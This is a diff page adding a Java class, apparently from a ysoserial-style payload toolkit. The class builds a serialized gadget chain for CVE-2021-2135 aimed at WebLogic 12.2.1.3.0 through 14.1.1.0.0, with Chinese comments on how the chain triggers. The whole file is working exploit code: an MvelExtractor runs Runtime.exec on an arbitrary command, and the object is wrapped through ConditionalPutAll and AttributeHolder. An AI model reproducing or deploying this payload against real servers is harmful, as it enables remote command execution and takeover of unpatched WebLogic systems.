|
| 1 | +package payloads; |
| 2 | + |
| 3 | +import com.sun.org.apache.xpath.internal.objects.XString; |
| 4 | +import com.tangosol.coherence.rest.util.extractor.MvelExtractor; |
| 5 | +import com.tangosol.coherence.servlet.AttributeHolder; |
| 6 | +import com.tangosol.internal.util.SimpleBinaryEntry; |
| 7 | +import com.tangosol.io.DefaultSerializer; |
| 8 | +import com.tangosol.io.Serializer; |
| 9 | +import com.tangosol.util.*; |
| 10 | +import com.tangosol.util.aggregator.TopNAggregator; |
| 11 | +import com.tangosol.util.filter.MapEventFilter; |
| 12 | +import com.tangosol.util.processor.ConditionalPutAll; |
| 13 | + |
| 14 | +import java.io.ByteArrayOutputStream; |
| 15 | +import java.io.DataOutputStream; |
| 16 | +import java.lang.reflect.Field; |
| 17 | +import java.lang.reflect.Method; |
| 18 | + |
| 19 | +import common.Serializerable; |
| 20 | +import payloads.annotation.Authors; |
| 21 | +import payloads.annotation.Dependencies; |
| 22 | +import util.PayloadRunner; |
| 23 | + |
| 24 | + |
| 25 | +// CVE-2021-2135 |
| 26 | + |
| 27 | +@SuppressWarnings({ "rawtypes", "unchecked" }) |
| 28 | +@Dependencies({"weblogic:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0"}) |
| 29 | +@Authors({ Authors.CCKUAILONG }) |
| 30 | +public class Weblogic10 implements ObjectPayload<Object> { |
| 31 | + |
| 32 | + public byte[] getObject(final String command) throws Exception { |
| 33 | + // 生成一个Name对象 |
| 34 | + MvelExtractor extractor1 = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\""+ command +"\");return new Integer(1);"); |
| 35 | + MvelExtractor extractor2 = new MvelExtractor(""); |
| 36 | + |
| 37 | + // 序列化入口 |
| 38 | + AttributeHolder attributeHolder = new AttributeHolder(); |
| 39 | + |
| 40 | + SortedBag partialResult = new TopNAggregator.PartialResult(extractor2, 2); |
| 41 | + partialResult.add(1); |
| 42 | + filedSet("m_comparator",partialResult, extractor1); |
| 43 | + |
| 44 | + // 这里bin_Key必须用ExternalizableHelper.writeObject赋值,不能用partialResult.writeExternal(dataOutputStream1); |
| 45 | + // 因为使用partialResult.writeExternal最终不会调用partialResult.readExternal,只会写m_comparator,不写partialResult自身 |
| 46 | + ByteArrayOutputStream baos1 = new ByteArrayOutputStream(); |
| 47 | + DataOutputStream dataOutputStream1 = new DataOutputStream(baos1); |
| 48 | + ExternalizableHelper.writeObject(dataOutputStream1, partialResult); |
| 49 | + |
| 50 | + ByteArrayOutputStream baos2 = new ByteArrayOutputStream(); |
| 51 | + DataOutputStream dataOutputStream2 = new DataOutputStream(baos2); |
| 52 | + ExternalizableHelper.writeObject(dataOutputStream2, new Integer(0)); |
| 53 | + |
| 54 | + Binary key = new Binary(baos1); |
| 55 | + Binary value = new Binary(baos2); |
| 56 | + SimpleBinaryEntry simpleBinaryEntry = new SimpleBinaryEntry(key,value); |
| 57 | + Serializer m_serializer= new DefaultSerializer(SimpleBinaryEntry.class.getClassLoader()); |
| 58 | + simpleBinaryEntry.setContextSerializer(m_serializer); |
| 59 | + |
| 60 | + // 调用xString.equals(simpleBinaryEntry)可触发SimpleBinaryEntry#toString,所以map按顺序先加入simpleBinaryEntry,再加入xString |
| 61 | + |
| 62 | + LiteMap liteMap = new LiteMap(); |
| 63 | + liteMap.put(simpleBinaryEntry,1); |
| 64 | + liteMap.put(new XString(null),2); |
| 65 | + ConditionalPutAll conditionalPutAll = new ConditionalPutAll(new MapEventFilter(), liteMap); |
| 66 | + |
| 67 | + // 序列化入口 |
| 68 | +// AttributeHolder attributeHolder = new AttributeHolder(); |
| 69 | + Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class); |
| 70 | + setInternalValue.setAccessible(true); |
| 71 | + setInternalValue.invoke(attributeHolder, conditionalPutAll); //调用setInternalValue方法设置m_oValue属性为conditionalPutAll |
| 72 | + |
| 73 | + return Serializerable.serialize(attributeHolder); |
| 74 | + } |
| 75 | + |
| 76 | + private static void filedSet(String fieldName, Object target, Object fieldValue) throws NoSuchFieldException, IllegalAccessException { |
| 77 | + Field field = target.getClass().getSuperclass().getDeclaredField(fieldName); |
| 78 | + field.setAccessible(true); |
| 79 | + field.set(target, fieldValue); |
| 80 | + } |
| 81 | + |
| 82 | + public static byte[] getBytes(final String command) throws Exception { |
| 83 | + return Weblogic10.class.newInstance().getObject(command); |
| 84 | + } |
| 85 | + |
| 86 | + public static void main(final String command) throws Exception { |
| 87 | + PayloadRunner.run(Weblogic10.class, command); |
| 88 | + } |
| 89 | + |
| 90 | +} |
0 commit comments